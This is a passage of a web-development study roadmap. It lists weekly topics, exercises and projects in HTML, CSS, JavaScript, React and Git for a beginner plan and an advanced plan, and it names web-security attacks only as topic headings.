    - Function scope vs Block scope
  - What is hoisting
- Git
  - Install Git locally
  - Use `git -v` command on command line
  - Merging remote branch X into your local branch Y
  - Deleting a local branch
- Exercise
  1. Dynamically update the image source
  2. Create a dropdown list using flexbox and list elements
  3. Write a function to alert "Hello World" message
  4. Write a function that takes in a string and a number as arguments and console logs its value
  5. Find length of this string - "I love JavaScript"
  6. Change the case to all-capital for this string - "I love JavaScript"

Week 7

- CSS
  - `"Initial", "Inherit" and "Unset"` Properties
  - Normalizing and Validating your CSS
    - Why to do it
    - How to do it
  - What are CSS Sprites
    - When and why to use them
- JavaScript
  - The `"new"` keyword
    - How to create new objects in JavaScript

- The `"this"` keyword
  - How is `this` different in JavaScript
  - Examples of how `this` is different depending on the context
- Function as first-class citizens
  - What do first-class citizens mean?
- Web Development
  - HTTP fundamentals
    - What is HTTP
    - How does internet work?
  - How does browser work?
  - What happens behind the scenes when you visit any site?
    - Search about this on `ngninja.com`
- Git
  - Writing good commit messages
    - Format to follow
    - Why writing good commit messages is important?
- Exercise
  1. Validate your CSS file and fix the errors
  2. Pass a function-object as a parameter to another function X and call that function-object argument inside function X

Week 8

- CSS
  - Media queries
    - Target mobile, tab, and desktop resolutions
  - Writing responsive CSS for all the major platforms
- JavaScript
  - Intervals and Timers
  - Intro to Ajax
    - What is it?
    - Why is used?
    - Who uses it?
  - What are Callback functions
  - Objects and Prototypes
    - What are prototypes?
    - What is prototype chaining?
  - Prototypal Inheritance
    - How is this different than Class-based Inheritance?
- Web Development
  - Different HTTP Headers
  - Caching in browser
  - Application tab in Chrome Development Tool
- Exercise

1. Fix the CSS of your website to make it responsive on mobile platforms
2. Implement inheritance in JavaScript for the following hierarchy - LivingThing -> Animal -> Cat

Week 9

- CSS
  - 2D and 3D transformations
  - Animations
- JavaScript
  - Recursion
    - Why to use recursion?
  - Fun with array methods
    - `map, reduce, filter`
  - More Fun with array methods
    - `find, concat, reverse`
- Web Development
  - What is REST API
  - Measure your website performance
  - How to reduce page load time?
  - What are package management services like NPM, Yarn?
- Exercise
  1. Create a bouncing ball using just CSS and HTML
  2. Get sum of numbers in array using "reduce" method
  3. Find a number in an array
  4. Measure the time taken by your website to load and to the first-render

Week 10

- CSS
  - What is Shadow DOM?
  - Why is Shadow DOM important?
- JavaScript
  - ES6+ introduction
    - New features added in ES+
    - Make a list of them and learn them one at a time - practice them
  - Introduction to Classes and constructors
    - What are Classes in JavaScript?
    - How are they different than any other class-based language?
- Web
  - Introduction to web security
    - Why is web security important?

- How the internet has become insecure now?
  - Basics of famous web security attacks
    - XSS, Brute Force, DDoS
- Mini project
  - Build a Tic-tac-toe game with pure JavaScript, HTML, and CSS
    - Create a border for the tic-tac-toe game
    - Add click-handler that will render X on odd click numbers
    - Add click-handler that will render O on even click numbers
    - At the end reveal the winner in GREEN color -> Even Or Odd

Week 11

- Real world project 1
  - A fun TODO app
    - Create a TODO item
    - Mark a TODO item as complete
    - Set a due date for the TODO item
    - Earn virtual coins every time you complete item within its due date

Week 12

- Real world project 2
  - Food recommendation app
    - App that gives random suggestion to cook food for today
    - Add JSON list of food that will be your database
    - Button to generate a random suggestion
    - Swipe left or right to dislike or like the food (or Click buttons)
    - Share the food recommendation on Facebook or Twitter

Roadmap To Advanced Web Developer - Advanced

12 Week Plan Overview

Things You Will Learn In This 12 Weeks

- Advanced HTML and CSS
- JavaScript deep dive
- ReactJS Fundamentals
- TypeScript
- Advanced Web Development Concepts
- Algorithms and Data Structures Fundamentals
- Git power user
- Interview Prep

12 Week Plan Details

Week 1

- HTML
  - Refresh the tags
    - `HTML, Body, Head, Nav`
    - `Div, P, Section, Span`
    - `Anchor, Images`
    - `Lists`, `Tables`
  - What is DOM
  - How does DOM work
  - What is DOM hierarchy
- CSS
  - Box-model
  - Selectors - `Id, Class, Element-tag`
  - Properties - `Color, Background-color, Border`
  - Properties - `Margin, Padding`
  - Decoupling CSS and HTML
  - What and Why CDN
- JavaScript
  - Primitive data types - `Numbers, Boolean, String, etc`
  - Complex data types - `Array, Objects`
  - Variables - `var, let, const`
    - What is the difference between them
    - When to use which type of declaration
- Exercises
  - Write a function that takes in an array of mixed data types and returns the array in reverse order
  - Implement a clickable image that will take you to your favorite website

Week 2

- HTML
  - Input and Button tags
    - Input types - `text, password, email, etc.`
    - `Submit` type input
  - `Form` element
    - Attributes of form
    - Submit/Post form
  - Attributes vs Properties

- When to use Attributes vs Properties
- Builtin and Custom attributes
- Web storage, local storage, session storage
    - Difference between each storage type
    - Use cases for each storage type
- CSS
    - Parents, siblings, and other selectors
        - Play around with each type of selectors
        - Grab sibling selector
        - Grab sibling in only odd or even position
        - Can you select a parent from a child element
    - Pseudo-classes
        - And pseudo-elements
        - What and why do we use them?
    - CSS Gradients
        - Create beautiful backgrounds using gradients
        - Create beautiful buttons, hero components using gradients
- JavaScript
    - `Truthy and Falsy` values
        - List of such values
        - How to check if a variable is truthy or falsy
    - Conditionals - `if, else, switch, ternary`
        - How to write nested ternary
    - Event listeners
        - Create event listeners
        - Remove event listeners
    - Event handling
    - Event bubbling, delegation, propagation
        - What is event bubbling
        - What is event capturing
        - Different between target and currentTarget property
- Chrome Developer Tools
    - Debugging your function using console logs
    - What is JSON
    - `JSON.Stringify`
        - Change JavaScript Object to JSON
        - Change JSON to JavaScript Object
- Exercises
    - Create a registration form that will take username, password, email, telephone number
    - Hide an element on a click event anywhere outside of the element?
    - How to stop events bubbling in pure JavaScript?

Week 3

- HTML
  - Accessibility
  - Unordered Lists
  - Ordered Lists
  - `Form` element
    - Form validation
    - Show/hide errors depending on error states
  - Radio buttons
    - Checkboxes
    - When to use Radio buttons vs When to use Checkboxes
  - What are cookies
    - How does e-commerce sites use cookies
    - How do ads companies use cookies
- CSS
  - Changing CSS with pure JavaScript
  - `Add, remove, and toggle classes` with JavaScript
- JavaScript
  - Loops
    - `for, while`
    - When to use which?
    - Are there any performance differences between them?
  - Arrays and collections
    - When to use arrays?
    - How to traverse arrays?
  - Scoping and Hoisting
  - The `"new"` keyword
    - How to create new objects in JavaScript
  - The `"this"` keyword
    - How is `this` different in JavaScript
    - Examples of how `this` is different depending on the context
  - Bind, call, apply
- Chrome Developer Tools
  - Console tab - log, dir, group, table
  - Debugging using console statements
  - Tip and tricks of using dev tools
- Exercises
  - Create a TODO application using list elements and event listeners - pure HTML and JavaScript
    - Add todo item
    - Remove todo item
  - Perform form validation
    - Show/hide message toast-bar depending on the error state
  - Use Checkboxes to mark complete/todo task
  - Use a Radio button to set the priority of the task

Week 4

- CSS
  - Introduction - What and Why Flexbox
  - Flexbox properties
    - `flex-direction`
    - `flex-wrap`
    - `just-content`
    - `align-items`
- Web Development
  - HTTP fundamentals
    - What is HTTP
    - How does internet work?
  - How does browser work?
  - What happens behind the scenes when you visit any site?
    - Search about this on `ngninja.com`
  - What is DNS
    - How is IP address resolved
  - Difference between IP and Mac address
- JavaScript
  - What are Callback functions
  - Objects and Prototypes
    - What are prototypes?
    - What is prototype chaining?
  - Prototypal Inheritance
    - How is this different than Class-based Inheritance?
  - Fun with array methods
    - `map, reduce, filter`
  - More Fun with array methods
    - `find, concat, reverse`
  - Bind, call, apply
    - Difference between them
    - When to use which method
  - Function as first-class citizens
    - What do first-class citizens mean?
- Git
  - What and why Git
  - Install Git locally
  - Merging `remote` branch X into your `local` branch Y
  - Deleting a local branch
  - Create a Git repo
  - What are branches
  - Committing, pushing, and pulling changes
    - What are the commands for these operations?
    - What flags do they take
- Exercises
  - Create a navigation bar using Flexbox

- Create a Git repo with two branches. Commit changes to one of the branches. Merge those commits to the other branch.

Week 5

- CSS
  - "Initial", "Inherit" and "Unset" Properties
  - Normalizing and Validating your CSS
    - Why to do it
    - How to do it
  - Difference between em, rem, px, %
    - When to use which
  - Media queries
    - Target mobile, tab, and desktop resolutions
  - Writing responsive CSS for all the major platforms
- JavaScript
  - Closures
  - Composition
  - Intervals and Timers
  - Async programming
    - Promises, Observables, async-await
  - Recursion
    - Why to use recursion?
    - Design patterns of recursion
    - Tree data-structure
      - DFS and BFS algorithm using recursion
- ReactJS
  - What is React
  - Why React
  - React vs Vue vs Angular
  - What are SPAs
    - Single Page Applications
    - Why SPAs are better than traditional web apps
- Exercises
  - Create a blog
    - Page for list of all the posts
    - Page for the post
    - Make it responsive for mobile, tablet, and desktop
    - Make the images responsive too
  - Make the navigation bar responsive
    - Show hamburger icon with a dropdown for mobile platforms

Week 6

- JavaScript
  - Immutable Data Structures
  - JavaScript as Functional Programming language
  - Currying
- ReactJS
  - Installing ReactJS
  - What is JSX
  - What is a React component
  - Why do you need components
  - Creating your first React App
    - using `create-react-app` utility
- Git
  - Cherry-picking a particular commit
  - Rebasing your branch with the other branch
  - Creating pull requests
  - Squashing multiple commits into one single commit
- Chrome Developer Tools
  - Networks tab - All, XHR, JS
  - Networks tab - Inspect XHR query request
  - Networks tab - Inspect XHR query response
- Exercises
  - Create a react application
  - Create a React component that displays details of a TODO task
    - task name, description, due dates, priority
  - Demonstrate cherry-picking a particular commit
    - Commit changes to branch X
    - Goto branch Y and cherry pick the last commit from branch X and push it to the branch Y

Week 7

- HTML
  - Adding multimedia on webpages
    - Adding videos
    - Adding sounds
    - `<object>` Element
    - Embedding YouTube Videos
- CSS
  - 2D and 3D transformations
  - Animations
  - Keyframes
- JavaScript

- JavaScript Classes
  - What are classes
  - How is JavaScript class different than other language class like Java
- Arrow functions
- Block scope
  - How to achieve blog scope for variables
- ReactJS
  - Function Components
  - Class components
    - Difference between different component types
  - How to reuse components inside other components
  - states and props
    - What and why state variables
    - What and why prop variables
- Exercises
  - Embed your favorite YouTube video on a webpage
  - Create a bouncing ball that bounces from floor to ceiling forever

Week 8

- HTML
  - Implementing drag and drop using HTML5
- CSS
  - What is Shadow DOM?
  - Why is Shadow DOM important?
- JavaScript
  - The Lexical `this`
    - What is it?
    - How is it different from the regular `this` in JavaScript
  - Spread operator
    - What is it?
    - What are it's usecases?
  - Rest operator
    - What is it?
    - What are it's usecases?
  - What is destructuring
- ReactJS
  - How to do two-way binding in React
  - Adding styles to your react component
    - External styles
    - Inline styles
    - Object notation styles
- Git
  - Writing good commit messages

- Format/Standard to follow
- Why writing good commit messages is important?
- Commitizen
  - Branching strategies
    - Different options available
    - Pros and cons of branching strategies
    - How to manage dev, QA, and production branches
- Exercises
  - Write a function to clone a JavaScript object using ES6+ features
  - Implement drag and drop feature to upload a file by dropping it on a web page
  - Create a React component that displays a list of TODO tasks

Week 9

- HTML
  - HTML5 Web Workers
    - What is a Web Worker?
    - Implementing web worker
    - Does given browser support web worker?
- JavaScript
  - Map + Set + WeakMap + WeakSet
    - What are those?
    - What are the differences between them?
    - When to use which data structure?
  - What is a call stack
  - What is a task queue
  - What is an event loop in JavaScript
- ReactJS
  - Rendering content conditionally
  - Rendering `async` data in your React component
    - Get the data
    - Display it on your React app
  - Suspense react component
    - What does it do?
    - How to use it?
    - Show a loader when you are retrieving the data
- Exercises
  - Given an array which contains duplicate elements write a function which returns an array of unique elements
  - Fetch a data in your React application and use Suspense feature to gracefully show the empty state loaders and the data once fetched

Week 10

- ReactJS
  - React hooks
    - What are hooks
    - Why do you need hooks
    - What problem does it solve?
  - Different React hooks - commonly used ones
    - `useState` hook
    - `useEffect` hook
    - `useRef` with React hooks
  - What is Context API
    - How to use it?
  - `useContext` hook
- JavaScript
  - What is Execution Context
    - How does JavaScript code and functions get executed?
    - How does `setTimeout` and `setTimeInterval` work under the hood?
  - All about memory leak
    - What causes memory leaks in JavaScript
    - How to avoid them?
    - How to debug memory leaks?
  - How-to Garbage Collection
    - What is Garbage Collection
    - How does Chrome handle Garbage collection
  - The JavaScript Engine
    - React about the Chrome's V8 JavaScript Engine
- Mini project
  - Build a Tic-tac-toe game with ReactJS
    - Create a border for the tic-tac-toe game
    - Add click-handler that will render X on odd click numbers
    - Add click-handler that will render O on even click numbers
    - At the end reveal the winner in GREEN color -> Even Or Odd

Week 11

- JavaScript
  - Debugging in JS
    - All the tricks to debug JS code
    - How to attach debugger in VSCode
  - What is debounce
    - How to implement it?
    - What are its use cases?
  - What is throttle?

- How to implement it?
- What are it's usecases?
  - JavaScript good practices
  - JavaScript bad practices
- ReactJS
  - Adding Typescript to your application
  - Why Typescript?
  - What problems does Typescript solve?
- Real-world project 1
  - Random Challenge App For Bored People
    - A button that will randomly suggest from a database of activities, brain-teasers, or simple games
    - Win virtual coins after the user completes the challenge

Week 12

- Real-world project 2
  - Build a clone of Instagram app
    - Use ReactJS framework
    - Use the Instagram public API to fetch the data from
    - Implement the timeline view
    - Implement the profile view
    - Bonus: Solve any one major pain-point that you struggle with when using the Instagram application